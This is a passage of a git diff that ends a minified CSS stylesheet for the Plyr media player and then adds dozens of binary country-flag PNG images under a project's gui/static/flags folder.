ease,opacity .2s .1s ease;z-index:2}.plyr__preview-thumb--is-shown{opacity:1;transform:translate(0,0) scale(1)}.plyr__preview-thumb::before{border-left:4px solid transparent;border-left:var(--plyr-tooltip-arrow-size,4px) solid transparent;border-right:4px solid transparent;border-right:var(--plyr-tooltip-arrow-size,4px) solid transparent;border-top:4px solid rgba(255,255,255,.9);border-top:var(--plyr-tooltip-arrow-size,4px) solid var(--plyr-tooltip-background,rgba(255,255,255,.9));bottom:calc(4px * -1);bottom:calc(var(--plyr-tooltip-arrow-size,4px) * -1);content:'';height:0;left:50%;position:absolute;transform:translateX(-50%);width:0;z-index:2}.plyr__preview-thumb__image-container{background:#c1c8d1;border-radius:calc(3px - 1px);border-radius:calc(var(--plyr-tooltip-radius,3px) - 1px);overflow:hidden;position:relative;z-index:0}.plyr__preview-thumb__image-container img{height:100%;left:0;max-height:none;max-width:none;position:absolute;top:0;width:100%}.plyr__preview-thumb__time-container{bottom:6px;left:0;position:absolute;right:0;white-space:nowrap;z-index:3}.plyr__preview-thumb__time-container span{background-color:rgba(0,0,0,.55);border-radius:calc(3px - 1px);border-radius:calc(var(--plyr-tooltip-radius,3px) - 1px);color:#fff;font-size:13px;font-size:var(--plyr-font-size-time,var(--plyr-font-size-small,13px));padding:3px 6px}.plyr__preview-scrubbing{bottom:0;filter:blur(1px);height:100%;left:0;margin:auto;opacity:0;overflow:hidden;pointer-events:none;position:absolute;right:0;top:0;transition:opacity .3s ease;width:100%;z-index:1}.plyr__preview-scrubbing--is-shown{opacity:1}.plyr__preview-scrubbing img{height:100%;left:0;max-height:none;max-width:none;object-fit:contain;position:absolute;top:0;width:100%}.plyr--no-transition{transition:none!important}.plyr__sr-only{clip:rect(1px,1px,1px,1px);overflow:hidden;border:0!important;height:1px!important;padding:0!important;position:absolute!important;width:1px!important}.plyr [hidden]{display:none!important}"]} \ No newline at end of file diff --git a/gui/static/flags/AD.png b/gui/static/flags/AD.png new file mode 100644 index 0000000..24efae5 Binary files /dev/null and b/gui/static/flags/AD.png differ diff --git a/gui/static/flags/AE.png b/gui/static/flags/AE.png new file mode 100644 index 0000000..05acc83 Binary files /dev/null and b/gui/static/flags/AE.png differ diff --git a/gui/static/flags/AF.png b/gui/static/flags/AF.png new file mode 100644 index 0000000..491039b Binary files /dev/null and b/gui/static/flags/AF.png differ diff --git a/gui/static/flags/AG.png b/gui/static/flags/AG.png new file mode 100644 index 0000000..08c171d Binary files /dev/null and b/gui/static/flags/AG.png differ diff --git a/gui/static/flags/AH.png b/gui/static/flags/AH.png new file mode 100644 index 0000000..65fc50c Binary files /dev/null and b/gui/static/flags/AH.png differ diff --git a/gui/static/flags/AI.png b/gui/static/flags/AI.png new file mode 100644 index 0000000..4c6b36d Binary files /dev/null and b/gui/static/flags/AI.png differ diff --git a/gui/static/flags/AK.png b/gui/static/flags/AK.png new file mode 100644 index 0000000..9f0c76e Binary files /dev/null and b/gui/static/flags/AK.png differ diff --git a/gui/static/flags/AL.png b/gui/static/flags/AL.png new file mode 100644 index 0000000..16e86a6 Binary files /dev/null and b/gui/static/flags/AL.png differ diff --git a/gui/static/flags/AM.png b/gui/static/flags/AM.png new file mode 100644 index 0000000..b1f25ba Binary files /dev/null and b/gui/static/flags/AM.png differ diff --git a/gui/static/flags/AN.png b/gui/static/flags/AN.png new file mode 100644 index 0000000..8236bfd Binary files /dev/null and b/gui/static/flags/AN.png differ diff --git a/gui/static/flags/AO.png b/gui/static/flags/AO.png new file mode 100644 index 0000000..d0fb098 Binary files /dev/null and b/gui/static/flags/AO.png differ diff --git a/gui/static/flags/AQ.png b/gui/static/flags/AQ.png new file mode 100644 index 0000000..52c2833 Binary files /dev/null and b/gui/static/flags/AQ.png differ diff --git a/gui/static/flags/AR.png b/gui/static/flags/AR.png new file mode 100644 index 0000000..bfa366f Binary files /dev/null and b/gui/static/flags/AR.png differ diff --git a/gui/static/flags/AS.png b/gui/static/flags/AS.png new file mode 100644 index 0000000..45c3ed0 Binary files /dev/null and b/gui/static/flags/AS.png differ diff --git a/gui/static/flags/AT.png b/gui/static/flags/AT.png new file mode 100644 index 0000000..bfe3827 Binary files /dev/null and b/gui/static/flags/AT.png differ diff --git a/gui/static/flags/AU.png b/gui/static/flags/AU.png new file mode 100644 index 0000000..5f6e325 Binary files /dev/null and b/gui/static/flags/AU.png differ diff --git a/gui/static/flags/AW.png b/gui/static/flags/AW.png new file mode 100644 index 0000000..007f032 Binary files /dev/null and b/gui/static/flags/AW.png differ diff --git a/gui/static/flags/AX.png b/gui/static/flags/AX.png new file mode 100644 index 0000000..e11d1f3 Binary files /dev/null and b/gui/static/flags/AX.png differ diff --git a/gui/static/flags/AZ.png b/gui/static/flags/AZ.png new file mode 100644 index 0000000..ac0cbd8 Binary files /dev/null and b/gui/static/flags/AZ.png differ diff --git a/gui/static/flags/BA.png b/gui/static/flags/BA.png new file mode 100644 index 0000000..d97b851 Binary files /dev/null and b/gui/static/flags/BA.png differ diff --git a/gui/static/flags/BB.png b/gui/static/flags/BB.png new file mode 100644 index 0000000..c84c6ac Binary files /dev/null and b/gui/static/flags/BB.png differ diff --git a/gui/static/flags/BD.png b/gui/static/flags/BD.png new file mode 100644 index 0000000..57cc9f6 Binary files /dev/null and b/gui/static/flags/BD.png differ diff --git a/gui/static/flags/BE.png b/gui/static/flags/BE.png new file mode 100644 index 0000000..1473666 Binary files /dev/null and b/gui/static/flags/BE.png differ diff --git a/gui/static/flags/BF.png b/gui/static/flags/BF.png new file mode 100644 index 0000000..dc29743 Binary files /dev/null and b/gui/static/flags/BF.png differ diff --git a/gui/static/flags/BG.png b/gui/static/flags/BG.png new file mode 100644 index 0000000..ba98171 Binary files /dev/null and b/gui/static/flags/BG.png differ diff --git a/gui/static/flags/BH.png b/gui/static/flags/BH.png new file mode 100644 index 0000000..38d195c Binary files /dev/null and b/gui/static/flags/BH.png differ diff --git a/gui/static/flags/BI.png b/gui/static/flags/BI.png new file mode 100644 index 0000000..04c84ba Binary files /dev/null and b/gui/static/flags/BI.png differ diff --git a/gui/static/flags/BJ.png b/gui/static/flags/BJ.png new file mode 100644 index 0000000..1e5582a Binary files /dev/null and b/gui/static/flags/BJ.png differ diff --git a/gui/static/flags/BL.png b/gui/static/flags/BL.png new file mode 100644 index 0000000..bdac5e0 Binary files /dev/null and b/gui/static/flags/BL.png differ diff --git a/gui/static/flags/BM.png b/gui/static/flags/BM.png new file mode 100644 index 0000000..5b989c1 Binary files /dev/null and b/gui/static/flags/BM.png differ diff --git a/gui/static/flags/BN.png b/gui/static/flags/BN.png new file mode 100644 index 0000000..c793402 Binary files /dev/null and b/gui/static/flags/BN.png differ diff --git a/gui/static/flags/BO.png b/gui/static/flags/BO.png new file mode 100644 index 0000000..f58824f Binary files /dev/null and b/gui/static/flags/BO.png differ diff --git a/gui/static/flags/BQ.png b/gui/static/flags/BQ.png new file mode 100644 index 0000000..b17385b Binary files /dev/null and b/gui/static/flags/BQ.png differ diff --git a/gui/static/flags/BR.png b/gui/static/flags/BR.png new file mode 100644 index 0000000..13bce83 Binary files /dev/null and b/gui/static/flags/BR.png differ diff --git a/gui/static/flags/BS.png b/gui/static/flags/BS.png new file mode 100644 index 0000000..15e0682 Binary files /dev/null and b/gui/static/flags/BS.png differ diff --git a/gui/static/flags/BT.png b/gui/static/flags/BT.png new file mode 100644 index 0000000..a83a137 Binary files /dev/null and b/gui/static/flags/BT.png differ diff --git a/gui/static/flags/BV.png b/gui/static/flags/BV.png new file mode 100644 index 0000000..2a216d9 Binary files /dev/null and b/gui/static/flags/BV.png differ diff --git a/gui/static/flags/BW.png b/gui/static/flags/BW.png new file mode 100644 index 0000000..45f9717 Binary files /dev/null and b/gui/static/flags/BW.png differ diff --git a/gui/static/flags/BY.png b/gui/static/flags/BY.png new file mode 100644 index 0000000..8d6dc57 Binary files /dev/null and b/gui/static/flags/BY.png differ diff --git a/gui/static/flags/BZ.png b/gui/static/flags/BZ.png new file mode 100644 index 0000000..f3fe26c Binary files /dev/null and b/gui/static/flags/BZ.png differ diff --git a/gui/static/flags/CA.png b/gui/static/flags/CA.png new file mode 100644 index 0000000..fd82ed4 Binary files /dev/null and b/gui/static/flags/CA.png differ diff --git a/gui/static/flags/CC.png b/gui/static/flags/CC.png new file mode 100644 index 0000000..2c1d9e3 Binary files /dev/null and b/gui/static/flags/CC.png differ diff --git a/gui/static/flags/CD.png b/gui/static/flags/CD.png new file mode 100644 index 0000000..502bc01 Binary files /dev/null and b/gui/static/flags/CD.png differ diff --git a/gui/static/flags/CF.png b/gui/static/flags/CF.png new file mode 100644 index 0000000..82029ea Binary files /dev/null and b/gui/static/flags/CF.png differ diff --git a/gui/static/flags/CG.png b/gui/static/flags/CG.png new file mode 100644 index 0000000..187226c Binary files /dev/null and b/gui/static/flags/CG.png differ diff --git a/gui/static/flags/CH.png b/gui/static/flags/CH.png new file mode 100644 index 0000000..368e226 Binary files /dev/null and b/gui/static/flags/CH.png differ diff --git a/gui/static/flags/CI.png b/gui/static/flags/CI.png new file mode 100644 index 0000000..c7a3a60 Binary files /dev/null and b/gui/static/flags/CI.png differ diff --git a/gui/static/flags/CK.png b/gui/static/flags/CK.png new file mode 100644 index 0000000..621c3ff Binary files /dev/null and b/gui/static/flags/CK.png differ diff --git a/gui/static/flags/CL.png b/gui/static/flags/CL.png new file mode 100644 index 0000000..eaa32e3 Binary files /dev/null and b/gui/static/flags/CL.png differ diff --git a/gui/static/flags/CM.png b/gui/static/flags/CM.png new file mode 100644 index 0000000..9563721 Binary files /dev/null and b/gui/static/flags/CM.png differ diff --git a/gui/static/flags/CN.png b/gui/static/flags/CN.png new file mode 100644 index 0000000..d75026a Binary files /dev/null and b/gui/static/flags/CN.png differ diff --git a/gui/static/flags/CO.png b/gui/static/flags/CO.png new file mode 100644 index 0000000..418df18 Binary files /dev/null and b/gui/static/flags/CO.png differ diff --git a/gui/static/flags/CR.png b/gui/static/flags/CR.png new file mode 100644 index 0000000..6e72512 Binary files /dev/null and b/gui/static/flags/CR.png differ diff --git a/gui/static/flags/CU.png b/gui/static/flags/CU.png new file mode 100644 index 0000000..6430524 Binary files /dev/null and b/gui/static/flags/CU.png differ diff --git a/gui/static/flags/CV.png b/gui/static/flags/CV.png new file mode 100644 index 0000000..cc3d4e8 Binary files /dev/null and b/gui/static/flags/CV.png differ diff --git a/gui/static/flags/CW.png b/gui/static/flags/CW.png new file mode 100644 index 0000000..78981b1 Binary files /dev/null and b/gui/static/flags/CW.png differ diff --git a/gui/static/flags/CX.png b/gui/static/flags/CX.png new file mode 100644 index 0000000..b9384b2 Binary files /dev/null and b/gui/static/flags/CX.png differ diff --git a/gui/static/flags/CY.png b/gui/static/flags/CY.png new file mode 100644 index 0000000..3ea9c9e Binary files /dev/null and b/gui/static/flags/CY.png differ diff --git a/gui/static/flags/CZ.png b/gui/static/flags/CZ.png new file mode 100644 index 0000000..b38296b Binary files /dev/null and b/gui/static/flags/CZ.png differ diff --git a/gui/static/flags/DE.png b/gui/static/flags/DE.png new file mode 100644 index 0000000..07707aa Binary files /dev/null and b/gui/static/flags/DE.png differ diff --git a/gui/static/flags/DJ.png b/gui/static/flags/DJ.png new file mode 100644 index 0000000..794e74c Binary files /dev/null and b/gui/static/flags/DJ.png differ diff --git a/gui/static/flags/DK.png b/gui/static/flags/DK.png new file mode 100644 index 0000000..ef9f52f Binary files /dev/null and b/gui/static/flags/DK.png differ diff --git a/gui/static/flags/DM.png b/gui/static/flags/DM.png new file mode 100644 index 0000000..f7da4c8 Binary files /dev/null and b/gui/static/flags/DM.png differ diff --git a/gui/static/flags/DO.png b/gui/static/flags/DO.png new file mode 100644 index 0000000..c34a32f Binary files /dev/null and b/gui/static/flags/DO.png differ diff --git a/gui/static/flags/DZ.png b/gui/static/flags/DZ.png new file mode 100644 index 0000000..2ea6765 Binary files /dev/null and b/gui/static/flags/DZ.png differ diff --git a/gui/static/flags/EC.png b/gui/static/flags/EC.png new file mode 100644 index 0000000..26aaeaa Binary files /dev/null and b/gui/static/flags/EC.png differ diff --git a/gui/static/flags/EE.png b/gui/static/flags/EE.png new file mode 100644 index 0000000..c18c562 Binary files /dev/null and b/gui/static/flags/EE.png differ diff --git a/gui/static/flags/EG.png b/gui/static/flags/EG.png new file mode 100644 index 0000000..8cd5b82 Binary files /dev/null and b/gui/static/flags/EG.png differ diff --git a/gui/static/flags/EH.png b/gui/static/flags/EH.png new file mode 100644 index 0000000..7b4eb90 Binary files /dev/null and b/gui/static/flags/EH.png differ diff --git a/gui/static/flags/ER.png b/gui/static/flags/ER.png new file mode 100644 index 0000000..fa60b10 Binary files /dev/null and b/gui/static/flags/ER.png differ diff --git a/gui/static/flags/ES.png b/gui/static/flags/ES.png new file mode 100644 index 0000000..3f7e39c Binary files /dev/null and b/gui/static/flags/ES.png differ diff --git a/gui/static/flags/ET.png b/gui/static/flags/ET.png new file mode 100644 index 0000000..e1388a0 Binary files /dev/null and b/gui/static/flags/ET.png differ diff --git a/gui/static/flags/EU.png b/gui/static/flags/EU.png new file mode 100644 index 0000000..4f84094 Binary files /dev/null and b/gui/static/flags/EU.png differ diff --git a/gui/static/flags/FI.png b/gui/static/flags/FI.png new file mode 100644 index 0000000..6eb7e94 Binary files /dev/null and b/gui/static/flags/FI.png differ diff --git a/gui/static/flags/FJ.png b/gui/static/flags/FJ.png new file mode 100644 index 0000000..fafdaae Binary files /dev/null and b/gui/static/flags/FJ.png differ diff --git a/gui/static/flags/FK.png b/gui/static/flags/FK.png new file mode 100644 index 0000000..eb2dd3c Binary files /dev/null and b/gui/static/flags/FK.png differ diff --git a/gui/static/flags/FM.png b/gui/static/flags/FM.png new file mode 100644 index 0000000..be7af70 Binary files /dev/null and b/gui/static/flags/FM.png differ diff --git a/gui/static/flags/FO.png b/gui/static/flags/FO.png new file mode 100644 index 0000000..7942cd9 Binary files /dev/null and b/gui/static/flags/FO.png differ diff --git a/gui/static/flags/FR.png b/gui/static/flags/FR.png new file mode 100644 index 0000000..ea101a5 Binary files /dev/null and b/gui/static/flags/FR.png differ diff --git a/gui/static/flags/GA.png b/gui/static/flags/GA.png new file mode 100644 index 0000000..1b69eaf Binary files /dev/null and b/gui/static/flags/GA.png differ diff --git a/gui/static/flags/GB.png b/gui/static/flags/GB.png new file mode 100644 index 0000000..96a97f7 Binary files /dev/null and b/gui/static/flags/GB.png differ diff --git a/gui/static/flags/GD.png b/gui/static/flags/GD.png new file mode 100644 index 0000000..d4a05ad Binary files /dev/null and b/gui/static/flags/GD.png differ diff --git a/gui/static/flags/GE.png b/gui/static/flags/GE.png new file mode 100644 index 0000000..2026913 Binary files /dev/null and b/gui/static/flags/GE.png differ diff --git a/gui/static/flags/GF.png b/gui/static/flags/GF.png new file mode 100644 index 0000000..399f916 Binary files /dev/null and b/gui/static/flags/GF.png differ diff --git a/gui/static/flags/GG.png b/gui/static/flags/GG.png new file mode 100644 index 0000000..8fff555 Binary files /dev/null and b/gui/static/flags/GG.png differ diff --git a/gui/static/flags/GH.png b/gui/static/flags/GH.png new file mode 100644 index 0000000..2bdcd4f Binary files /dev/null and b/gui/static/flags/GH.png differ diff --git a/gui/static/flags/GI.png b/gui/static/flags/GI.png new file mode 100644 index 0000000..3b87254 Binary files /dev/null and b/gui/static/flags/GI.png differ diff --git a/gui/static/flags/GL.png b/gui/static/flags/GL.png new file mode 100644 index 0000000..c7554a8 Binary files /dev/null and b/gui/static/flags/GL.png differ diff --git a/gui/static/flags/GM.png b/gui/static/flags/GM.png new file mode 100644 index 0000000..a54ce95 Binary files /dev/null and b/gui/static/flags/GM.png differ diff --git a/gui/static/flags/GN.png b/gui/static/flags/GN.png new file mode 100644 index 0000000..dd79507 Binary files /dev/null and b/gui/static/flags/GN.png differ diff --git a/gui/static/flags/GP.png b/gui/static/flags/GP.png new file mode 100644 index 0000000..971fb54 Binary files /dev/null and b/gui/static/flags/GP.png differ diff --git a/gui/static/flags/GQ.png b/gui/static/flags/GQ.png new file mode 100644 index 0000000..1473173 Binary files /dev/null and b/gui/static/flags/GQ.png differ diff --git a/gui/static/flags/GR.png b/gui/static/flags/GR.png new file mode 100644 index 0000000..b7da9cc Binary files /dev/null and b/gui/static/flags/GR.png differ diff --git a/gui/static/flags/GS.png b/gui/static/flags/GS.png new file mode 100644 index 0000000..a216c57 Binary files /dev/null and b/gui/static/flags/GS.png differ diff --git a/gui/static/flags/GT.png b/gui/static/flags/GT.png new file mode 100644 index 0000000..6b28067 Binary files /dev/null and b/gui/static/flags/GT.png differ diff --git a/gui/static/flags/GU.png b/gui/static/flags/GU.png new file mode 100644 index 0000000..e68eb53 Binary files /dev/null and b/gui/static/flags/GU.png differ diff --git a/gui/static/flags/GW.png b/gui/static/flags/GW.png new file mode 100644 index 0000000..cdf103a Binary files /dev/null and b/gui/static/flags/GW.png differ diff --git a/gui/static/flags/GY.png b/gui/static/flags/GY.png new file mode 100644 index 0000000..1e0632e Binary files /dev/null and b/gui/static/flags/GY.png differ diff --git a/gui/static/flags/HK.png b/gui/static/flags/HK.png new file mode 100644 index 0000000..111a7a6 Binary files /dev/null and b/gui/static/flags/HK.png differ diff --git a/gui/static/flags/HM.png b/gui/static/flags/HM.png new file mode 100644 index 0000000..6864a80 Binary files /dev/null and b/gui/static/flags/HM.png differ diff --git a/gui/static/flags/HN.png b/gui/static/flags/HN.png new file mode 100644 index 0000000..e76b187 Binary files /dev/null and b/gui/static/flags/HN.png differ diff --git a/gui/static/flags/HR.png b/gui/static/flags/HR.png new file mode 100644 index 0000000..355c4e8 Binary files /dev/null and b/gui/static/flags/HR.png differ diff --git a/gui/static/flags/HT.png b/gui/static/flags/HT.png new file mode 100644 index 0000000..b958f5b Binary files /dev/null and b/gui/static/flags/HT.png differ diff --git a/gui/static/flags/HU.png b/gui/static/flags/HU.png new file mode 100644 index 0000000..afee569 Binary files /dev/null and b/gui/static/flags/HU.png differ diff --git a/gui/static/flags/IC.png b/gui/static/flags/IC.png new file mode 100644 index 0000000..b0090e4 Binary files /dev/null and b/gui/static/flags/IC.png differ diff --git a/gui/static/flags/ID.png b/gui/static/flags/ID.png new file mode 100644 index 0000000..7fb00cf Binary files /dev/null and b/gui/static/flags/ID.png differ diff --git a/gui/static/flags/IE.png b/gui/static/flags/IE.png new file mode 100644 index 0000000..ab7af0c Binary files /dev/null and b/gui/static/flags/IE.png differ diff --git a/gui/static/flags/IL.png b/gui/static/flags/IL.png new file mode 100644 index 0000000..ce6937f Binary files /dev/null and b/gui/static/flags/IL.png differ diff --git a/gui/static/flags/IM.png b/gui/static/flags/IM.png new file mode 100644 index 0000000..c1f8bbb Binary files /dev/null and b/gui/static/flags/IM.png differ diff --git a/gui/static/flags/IN.png b/gui/static/flags/IN.png new file mode 100644 index 0000000..9af8072 Binary files /dev/null and b/gui/static/flags/IN.png differ diff --git a/gui/static/flags/IO.png b/gui/static/flags/IO.png new file mode 100644 index 0000000..bac6b19 Binary files /dev/null and b/gui/static/flags/IO.png differ diff --git a/gui/static/flags/IQ.png b/gui/static/flags/IQ.png new file mode 100644 index 0000000..79e7c2a Binary files /dev/null and b/gui/static/flags/IQ.png differ diff --git a/gui/static/flags/IR.png b/gui/static/flags/IR.png new file mode 100644 index 0000000..df273f3 Binary files /dev/null and b/gui/static/flags/IR.png differ diff --git a/gui/static/flags/IS.png b/gui/static/flags/IS.png new file mode 100644 index 0000000..5e198a7 Binary files /dev/null and b/gui/static/flags/IS.png differ diff --git a/gui/static/flags/IT.png b/gui/static/flags/IT.png new file mode 100644 index 0000000..1ac67df Binary files /dev/null and b/gui/static/flags/IT.png differ diff --git a/gui/static/flags/JE.png b/gui/static/flags/JE.png new file mode 100644 index 0000000..cc26d52 Binary files /dev/null and b/gui/static/flags/JE.png differ diff --git a/gui/static/flags/JM.png b/gui/static/flags/JM.png new file mode 100644 index 0000000..2c59808 Binary files /dev/null and b/gui/static/flags/JM.png differ diff --git a/gui/static/flags/JO.png b/gui/static/flags/JO.png new file mode 100644 index 0000000..d0b87ec Binary files /dev/null and b/gui/static/flags/JO.png differ diff --git a/gui/static/flags/JP.png b/gui/static/flags/JP.png new file mode 100644 index 0000000..fdd3f5e Binary files /dev/null and b/gui/static/flags/JP.png differ diff --git a/gui/static/flags/KE.png b/gui/static/flags/KE.png new file mode 100644 index 0000000..3065486 Binary files /dev/null and b/gui/static/flags/KE.png differ diff --git a/gui/static/flags/KG.png b/gui/static/flags/KG.png new file mode 100644 index 0000000..8ea6f5c Binary files /dev/null and b/gui/static/flags/KG.png differ diff --git a/gui/static/flags/KH.png b/gui/static/flags/KH.png new file mode 100644 index 0000000..d752ca0 Binary files /dev/null and b/gui/static/flags/KH.png differ diff --git a/gui/static/flags/KI.png b/gui/static/flags/KI.png new file mode 100644 index 0000000..c8dbdb0 Binary files /dev/null and b/gui/static/flags/KI.png differ diff --git a/gui/static/flags/KM.png b/gui/static/flags/KM.png new file mode 100644 index 0000000..8a46ac6 Binary files /dev/null and b/gui/static/flags/KM.png differ diff --git a/gui/static/flags/KN.png b/gui/static/flags/KN.png new file mode 100644 index 0000000..a5c0ffb Binary files /dev/null and b/gui/static/flags/KN.png differ diff --git a/gui/static/flags/KP.png b/gui/static/flags/KP.png new file mode 100644 index 0000000..ee76832 Binary files /dev/null and b/gui/static/flags/KP.png differ diff --git a/gui/static/flags/KR.png b/gui/static/flags/KR.png new file mode 100644 index 0000000..b3159e8 Binary files /dev/null and b/gui/static/flags/KR.png differ diff --git a/gui/static/flags/KW.png b/gui/static/flags/KW.png new file mode 100644 index 0000000..f5ec795 Binary files /dev/null and b/gui/static/flags/KW.png differ diff --git a/gui/static/flags/KY.png b/gui/static/flags/KY.png new file mode 100644 index 0000000..dac58cd Binary files /dev/null and b/gui/static/flags/KY.png differ diff --git a/gui/static/flags/KZ.png b/gui/static/flags/KZ.png new file mode 100644 index 0000000..195d978 Binary files /dev/null and b/gui/static/flags/KZ.png differ diff --git a/gui/static/flags/LA.png b/gui/static/flags/LA.png new file mode 100644 index 0000000..609436d Binary files /dev/null and b/gui/static/flags/LA.png differ diff --git a/gui/static/flags/LB.png b/gui/static/flags/LB.png new file mode 100644 index 0000000..a9ffdbc Binary files /dev/null and b/gui/static/flags/LB.png differ diff --git a/gui/static/flags/LC.png b/gui/static/flags/LC.png new file mode 100644 index 0000000..a2016b2 Binary files /dev/null and b/gui/static/flags/LC.png differ diff --git a/gui/static/flags/LI.png b/gui/static/flags/LI.png new file mode 100644 index 0000000..791b27a Binary files /dev/null and b/gui/static/flags/LI.png differ diff --git a/gui/static/flags/LK.png b/gui/static/flags/LK.png new file mode 100644 index 0000000..ecc6f0d Binary files /dev/null and b/gui/static/flags/LK.png differ diff --git a/gui/static/flags/LR.png b/gui/static/flags/LR.png new file mode 100644 index 0000000..73aa178 Binary files /dev/null and b/gui/static/flags/LR.png differ diff --git a/gui/static/flags/LS.png b/gui/static/flags/LS.png new file mode 100644 index 0000000..598747e Binary files /dev/null and b/gui/static/flags/LS.png differ diff --git a/gui/static/flags/LT.png b/gui/static/flags/LT.png new file mode 100644 index 0000000..907db39 Binary files /dev/null and b/gui/static/flags/LT.png differ diff --git a/gui/static/flags/LU.png b/gui/static/flags/LU.png new file mode 100644 index 0000000..4357a46 Binary files /dev/null and b/gui/static/flags/LU.png differ diff --git a/gui/static/flags/LV.png b/gui/static/flags/LV.png new file mode 100644 index 0000000..1f8bdac Binary files /dev/null and b/gui/static/flags/LV.png differ diff --git a/gui/static/flags/LY.png b/gui/static/flags/LY.png new file mode 100644 index 0000000..98f7a4e Binary files /dev/null and b/gui/static/flags/LY.png differ diff --git a/gui/static/flags/MA.png b/gui/static/flags/MA.png new file mode 100644 index 0000000..e5b2280 Binary files /dev/null and b/gui/static/flags/MA.png differ diff --git a/gui/static/flags/MC.png b/gui/static/flags/MC.png new file mode 100644 index 0000000..7fb00cf Binary files /dev/null and b/gui/static/flags/MC.png differ diff --git a/gui/static/flags/MD.png b/gui/static/flags/MD.png new file mode 100644 index 0000000..7bd750c Binary files /dev/null and b/gui/static/flags/MD.png differ diff --git a/gui/static/flags/ME.png b/gui/static/flags/ME.png new file mode 100644 index 0000000..113a2bc Binary files /dev/null and b/gui/static/flags/ME.png differ diff --git a/gui/static/flags/MF.png b/gui/static/flags/MF.png new file mode 100644 index 0000000..7d88471 Binary files /dev/null and b/gui/static/flags/MF.png differ diff --git a/gui/static/flags/MG.png b/gui/static/flags/MG.png new file mode 100644 index 0000000..f89c650 Binary files /dev/null and b/gui/static/flags/MG.png differ diff --git a/gui/static/flags/MH.png b/gui/static/flags/MH.png new file mode 100644 index 0000000..a240d70 Binary files /dev/null and b/gui/static/flags/MH.png differ diff --git a/gui/static/flags/MK.png b/gui/static/flags/MK.png new file mode 100644 index 0000000..38bb51a Binary files /dev/null and b/gui/static/flags/MK.png differ diff --git a/gui/static/flags/ML.png b/gui/static/flags/ML.png new file mode 100644 index 0000000..6e73f35 Binary files /dev/null and b/gui/static/flags/ML.png differ diff --git a/gui/static/flags/MM.png b/gui/static/flags/MM.png new file mode 100644 index 0000000..ddaab40 Binary files /dev/null and b/gui/static/flags/MM.png differ diff --git a/gui/static/flags/MN.png b/gui/static/flags/MN.png new file mode 100644 index 0000000..492d87e Binary files /dev/null and b/gui/static/flags/MN.png differ diff --git a/gui/static/flags/MO.png b/gui/static/flags/MO.png new file mode 100644 index 0000000..a68ca49 Binary files /dev/null and b/gui/static/flags/MO.png differ diff --git a/gui/static/flags/MP.png b/gui/static/flags/MP.png new file mode 100644 index 0000000..9ee8417 Binary files /dev/null and b/gui/static/flags/MP.png differ diff --git a/gui/static/flags/MQ.png b/gui/static/flags/MQ.png new file mode 100644 index 0000000..3905c2e Binary files /dev/null and b/gui/static/flags/MQ.png differ diff --git a/gui/static/flags/MR.png b/gui/static/flags/MR.png new file mode 100644 index 0000000..fb2ac85 Binary files /dev/null and b/gui/static/flags/MR.png differ diff --git a/gui/static/flags/MS.png b/gui/static/flags/MS.png new file mode 100644 index 0000000..9662beb Binary files /dev/null and b/gui/static/flags/MS.png differ diff --git a/gui/static/flags/MT.png b/gui/static/flags/MT.png new file mode 100644 index 0000000..fcc27ab Binary files /dev/null and b/gui/static/flags/MT.png differ diff --git a/gui/static/flags/MU.png b/gui/static/flags/MU.png new file mode 100644 index 0000000..176391e Binary files /dev/null and b/gui/static/flags/MU.png differ diff --git a/gui/static/flags/MV.png b/gui/static/flags/MV.png new file mode 100644 index 0000000..c41df6d Binary files /dev/null and b/gui/static/flags/MV.png differ diff --git a/gui/static/flags/MW.png b/gui/static/flags/MW.png new file mode 100644 index 0000000..b8bd61c Binary files /dev/null and b/gui/static/flags/MW.png differ diff --git a/gui/static/flags/MX.png b/gui/static/flags/MX.png new file mode 100644 index 0000000..7bc656c Binary files /dev/null and b/gui/static/flags/MX.png differ diff --git a/gui/static/flags/MY.png b/gui/static/flags/MY.png new file mode 100644 index 0000000..50bc61d Binary files /dev/null and b/gui/static/flags/MY.png differ diff --git a/gui/static/flags/MZ.png b/gui/static/flags/MZ.png new file mode 100644 index 0000000..5b677a8 Binary files /dev/null and b/gui/static/flags/MZ.png differ diff --git a/gui/static/flags/NA.png b/gui/static/flags/NA.png new file mode 100644 index 0000000..879cbdf Binary files /dev/null and b/gui/static/flags/NA.png differ diff --git a/gui/static/flags/NC.png b/gui/static/flags/NC.png new file mode 100644 index 0000000..1f53a6a Binary files /dev/null and b/gui/static/flags/NC.png differ diff --git a/gui/static/flags/NE.png b/gui/static/flags/NE.png new file mode 100644 index 0000000..c77a343 Binary files /dev/null and b/gui/static/flags/NE.png differ diff --git a/gui/static/flags/NF.png b/gui/static/flags/NF.png new file mode 100644 index 0000000..96f35b0 Binary files /dev/null and b/gui/static/flags/NF.png differ diff --git a/gui/static/flags/NG.png b/gui/static/flags/NG.png new file mode 100644 index 0000000..8c175ed Binary files /dev/null and b/gui/static/flags/NG.png differ diff --git a/gui/static/flags/NI.png b/gui/static/flags/NI.png new file mode 100644 index 0000000..bebf90a Binary files /dev/null and b/gui/static/flags/NI.png differ diff --git a/gui/static/flags/NL.png b/gui/static/flags/NL.png new file mode 100644 index 0000000..f1eece1 Binary files /dev/null and b/gui/static/flags/NL.png differ diff --git a/gui/static/flags/NO.png b/gui/static/flags/NO.png new file mode 100644 index 0000000..e510202 Binary files /dev/null and b/gui/static/flags/NO.png differ diff --git a/gui/static/flags/NP.png b/gui/static/flags/NP.png new file mode 100644 index 0000000..bbfef28 Binary files /dev/null and b/gui/static/flags/NP.png differ diff --git a/gui/static/flags/NR.png b/gui/static/flags/NR.png new file mode 100644 index 0000000..8c1529d Binary files /dev/null and b/gui/static/flags/NR.png differ diff --git a/gui/static/flags/NU.png b/gui/static/flags/NU.png new file mode 100644 index 0000000..17e42be Binary files /dev/null and b/gui/static/flags/NU.png differ diff --git a/gui/static/flags/NY.png b/gui/static/flags/NY.png new file mode 100644 index 0000000..e6deb7b Binary files /dev/null and b/gui/static/flags/NY.png differ diff --git a/gui/static/flags/NZ.png b/gui/static/flags/NZ.png new file mode 100644 index 0000000..93e9267 Binary files /dev/null and b/gui/static/flags/NZ.png differ diff --git a/gui/static/flags/OM.png b/gui/static/flags/OM.png new file mode 100644 index 0000000..277a288 Binary files /dev/null and b/gui/static/flags/OM.png differ diff --git a/gui/static/flags/PA.png b/gui/static/flags/PA.png new file mode 100644 index 0000000..b1e97f8 Binary files /dev/null and b/gui/static/flags/PA.png differ diff --git a/gui/static/flags/PE.png b/gui/static/flags/PE.png new file mode 100644 index 0000000..48c1203 Binary files /dev/null and b/gui/static/flags/PE.png differ diff --git a/gui/static/flags/PF.png b/gui/static/flags/PF.png new file mode 100644 index 0000000..40e5210 Binary files /dev/null and 